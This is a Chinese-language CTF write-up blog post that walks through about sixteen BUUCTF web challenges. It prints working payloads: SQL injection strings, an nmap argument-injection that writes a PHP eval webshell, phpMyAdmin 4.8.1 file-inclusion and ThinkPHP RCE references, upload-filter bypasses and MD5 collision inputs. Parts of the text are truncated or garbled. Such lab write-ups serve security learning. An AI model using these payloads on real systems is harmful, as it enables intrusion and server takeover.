百道CTF刷题记录(四)之BUUCTF
前言
接上篇,继续刷题
正文
[极客大挑战 2019]HardSQL
考点:报错注入。过滤了空白字符、=
等
EXP:
1 | # 取表名 |
[GXYCTF2019]BabySQli
登录注入题。
老规矩,先分别使用单引号试报错,顺便看看pw参数有无带入数据库查询(与常见登录验证判断有关)。
尝试后发现,user参数报错,pw不报错。
猜测后端验证逻辑应该是先通过用户名查询数据库信息,再与pw参数做比较。
对于这种验证码方法我们通常采用联合注入法,通过控制返回内容来绕过登录。
EXP:
1 | POST /search.php |
[RoarCTF 2019]Easy Java
打开题目,发现页面存在一个奇怪链接:
1 | <center><p><a href="Download?filename=help.docx" target="_blank">help</a></p></center> |
看样子应该是一个任意文件下载,只不过不知道能不能跨目录出去读取其他文件。
这里存在一个脑洞,直接GET会报错,改换POST访问才行。
1 | java.io.FileNotFoundException:{help.docx} |
不过也是通过这个“脑洞”,让我们得知此题的后端程序是java。
我们知道,对于java的web开发,WEB-INF文件夹至关重要,其中的web.xml文件对要访问的文件进行相应映射才能访问。
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class。
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件。利用:
通过找到web.xml文件,推断class文件路径,最后下载class文件,通过反编译class文件,得到网站源码。摘自:Web源码泄露总结
故我们读取/WEB-INF/web.xml。
根据命名规则我们推断该class对应的字节码文件应存放在:
1 | /WEB-INF/classes/com/wm/ctf/FlagController.class |
读取后得到flag:
[网鼎杯 2020 青龙组]AreUSerialz
打开题目,得到源码:
1 |
|
简单的反序列题+LFI,关键就在于is_valid
函数的绕过。
此函数限制了payload对应的ascii码区间范围。
若我们直接正常的使用如下payload:
1 |
|
会发现payload中有不可见字符%00,该字符的ascii值是0,会被is_valid
拦截。
法一:php7.1+版本对属性类型不敏感
直接修改为public属性,EXP:
1 |
|
法二:使用16进制绕过
对于%00出现的属性,只需要将变量名前的小写的s
改成大写的S
,即可将变量名用16进制表示。
1 | 如:s:11:'%00*%00filename'; |
[BUUCTF 2018]Online Tool
打开题目得源码:
1 |
|
命令执行题,本题关键是得绕过escapeshellarg
与escapeshellcmd
。
关键点再与此处连续套用了转义函数,导致出现了由此产生的bypass绕过方法。
对于$host=a'b
来说
1 | escapeshellarg转义后为:'a\'''b' |
EXP:
1 | ?host=' <?php @eval($_POST["cmd"]);?> -oG evil.php ' |
Nmap中-oG
参数也将输出结果写入文件,我们利用此来写入一个webshell。
然后用蚁剑等webshell管理工具连接读取flag即可。
[GYCTF2020]Blacklist
强网杯随便注魔改题。
考点:handler代替select查询。
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
1 | handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名 |
EXP:
1 | 1';handler `FlagHere` open as yunensec;handler yunensec read first;# |
[BJDCTF 2nd]old-hack
打开题目,发现页面存在Powered by THINKPHP5的提示。
随便访问一个控制器:/index.php?s=/index/aaaa
,在debug页得到tp版本为5.0.23。
Google一下tp5.0.23的漏洞,发现RCE一枚。
1 | # ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug |
摘自:https://y4er.com/post/thinkphp5-rce/
[De1CTF 2019]SSRF Me
题目给出Hint:flag is in ./flag.txt
。
打开题目给出源代码:
1 | #! /usr/bin/env python |
考点:MD5长度拓展攻击、local_file协议。
利用长度拓展攻击绕过sign的验证,再利用local_file
协议读取文件内容(file
协议为封装好的local_file
协议)即可,不过直接不填写任何协议直接让param
为flag.txt
也可以,因为如果不写协议名称默认即为file
协议。
由于篇幅限制,这里不进行对hash长度拓展攻击的解读。
[GKCTF2020]cve版签到
题目给出提示:cve-2020-7066
通过搜索引擎查找得到如下信息:https://bugs.php.net/bug.php?id=79329
可以看到在低于7.2.29的PHP版本7.2.x,低于7.3.16的7.3.x和低于7.4.4的7.4.x中get_headers
函数存在00截断问题。
题目首页告诉了我们:
1 | You just view *.ctfhub.com |
故不能直接输入其他的地址,故我们尝试截断试试让其获取的值为本地IP:127.0.0.1:
可以看到题目返回了PHP版本为7.3.15,00截断问题存在,而后又给出了提示,HOST必须为123,修改或访问得到FLAG:
[GXYCTF2019]禁止套娃
打开题目,首页显示:
1 | flag在哪里呢? |
查看源代码以及响应头,均无tips给出
使用direarch扫描文件,得到如下结果:
发现存在.git目录泄露,尝试还有lijiejie的githack脚本还原代码:
1 | python2 Githack.py http://www.example.com/.git/ |
得到文件index.php,源代码如下:
1 |
|
很明显,题目需要我们构造一个无参命令执行payload。
常见的无参构造利用方法如下:
- getenv()+array_rand()+array_flip(),其中getenv返回包含当前环境信息的数组,array_rand随机返回数组的值,array_flip将数组键值互换。
- end(getallheaders())
- apache+array_rand()+end()+ger_defined_vars()
- hex2bin()+session_id()+session_start(),PHPSESSION允许数字与字母出现(部分符号也可,如括号,点号)。
- dirname()取目录参数的上一级目录,getcwd()取当前目录,chdir设置当前工作目录。跨目录读取demo:
readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
。readfile(next(array_reverse(scandir(current(localeconv())))));
- end() – 将内部指针指向数组中的最后一个元素,并输出
- next() – 将内部指针指向数组中的下一个元素,并输出
- prev() – 将内部指针指向数组中的上一个元素,并输出
- reset() – 将内部指针指向数组中的第一个元素,并输出
- each() – 返回当前元素的键名和键值,并将内部指针向前移动
常见数组操作,摘自:w3school
题目关键正则分析:[a-z,_]+\((?R)?\)
(?R)
表示当前正则表达式,也就是[a-z,_]+\((?R)?\)
本身,故这个表达式本质上类似套娃正则,即:
1 | [a-z,_]+\([a-z,_]+\([a-z,_]+\([a-z,_]+\(...\)\)\)\) |
法一:
法二:
法三:
[MRCTF2020]你传你🐎呢
经典上传题,.htaccess解析图片即可。
上传包含php代码的文件:
访问即可得到FLAG:
简单总结下上传题经典套路:
- gif89a文件头、
Content-Type: image/jpeg
文件类型、上传%00
截断文件名 php、php2、php3、php4、php5、phtml、phtm
后缀- .htaccess、.user.ini特殊上传,前者要求apache环境后者要求,同目录下需要存在一个php文件
<script language=”php”>
、<? ?>
、<?= ?>
。
[安洵杯 2019]easy_web
打开题目,观察到被跳转到了另一个URL:
1 | index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd= |
img参数有点想base64编码,连续base64解码得到:
1 | 3535352e706e6630 |
注意观察,有数字,有字母,无符号,数字0、3、5、2、7、6
,字母e
,满足hex的范畴,尝试hex转字符串得:
1 | 555.pnf0 |
故此题的编码应该为string->hex->base64->base64
尝试读取index.php,img参数为base64_encode(base64_encode(hex2bin('index.php')))
:
1 | /index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd= |
得index.php源码:
1 | <?php |
其中关于:
1 | (string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b']) |
的绕过是老生常谈了,这里对这种md5函数总结一下几种方法:
数组对比,a[]=1&b[]=2,md5($a)=null且md5($b)=null
0e弱比较绕过,s878926199a和s1091221200a
`
%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
明文不同,MD5相同。1
2
3
+ md5($str,true):content: 129581926211651571912466741651878684928
hex: 06da5430449f8f6f23dfc1276f722738
raw: \x06\xdaT0D\x9f\x8fo#\xdf\xc1’or’8
string: T0Do#’or’81
content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621c
raw: ‘or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c
string: ‘or’6]!r,b1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
+ NaN和INF
这里我们用第三种办法来绕过即可,而对于命令执行,我们知道,在php中,反引号\`可以当做系统命令执行,而这里又进行了很多过滤,在之前篇的刷题记录中我有提到命令执行的常见讨论,这里我们使用反斜线\绕过。
在Linux中,反斜线会被省略掉,即`ca\t`与`cat`相同。
故EXP:

## [MRCTF2020]Ez_bypass
打开题目得到如下源代码:
```php
<?php
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}
简单的md5绕过+弱比较,EXP:
1 | POST /?gg[]=1&id[]=2 HTTP/1.1 |
[BJDCTF2020]Mark loves cat
打开题目,页面元素过多,感觉没有啥可用的信息。
简单看一下HTML源代码+请求响应头后,就打开direarch开始扫描了:
1 | python3 direarch.py -u http://x.x.x.x/ -e php,zip -t 1 # BUU请求数限制 |
扫描器有扫到.git目录,随后打开lijiejie的githack工具,尝试dump下源码。
主要文件index.php:
1 |
|
可用看到开头就有两个变量注册:
1 | foreach($_POST as $x => $y){ |
会把$_GET
和$_POST
的键名作为变量名,值作为变量值,来组成新的变量。
接着有三段连续的死亡exit,我们不能让我们的payload执行到那里。
1 | // 批量判断$_GET中是否存在键名与$_GET['flag']的值相同的其他键 |
本题的关键是需要满足isset($_GET['flag']) || isset($_POST['flag']
的同时,还需满足$_POST['flag'] !== 'flag' && $_GET['flag'] !== 'flag'
。
法一
1 | if(!isset($_GET['flag']) && !isset($_POST['flag'])){ |
通过GET方式传递参数yds=flag,使得$yds=$flag
,最终执行到上述代码时带出flag的值。
法二
1 | GET /?_POST=_GET&_GET=_COOKIE HTTP/1.1 |
通过覆盖$_POST
与$_GET
绕来两个死亡exit,通过最终的输出那道flag。
[GWCTF 2019]我有一个数据库
从题目猜出应该是与数据库有关的题目,通过扫描工具扫描得出:phpinfo.php
与phpmyadmin目录。
访问phpmyadmin,访问直接已经登录好了。在首页处得到phpmyadmin版本:4.8.1。
通过phpinfo可以得到网站运行目录:/var/www/html
尝试直接写出文件,查看secure_file_priv权限,如果为’’则可以写入文件,为NULL则无权限。
再尝试修改日志路径拿shell
报错,提示权限不足。
打开搜索引擎,搜索phpmyadmin 4.8.1之后找到一个phpmyadmin的包含漏洞,详细分析地址:phpmyadmin4.8.1后台GetShell。
用图中的payload直接读取FLAG:
1 | /phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../flag |
[GXYCTF2019]BabyUpload
这题和上边那题MRCTF2020的上传题是一样的,都是上传.httaccess文件后再上传一个jpg文件即可。
注意,这里做了文件头和php内容判断,用GIF89a和<script language='php'>php代码</script>
。
读取根目录的FLAG:
1 | /upload/0cffff4b7b760870553f87db86cc9953/2.jpg?cmd=highlight_file(%27/flag%27); |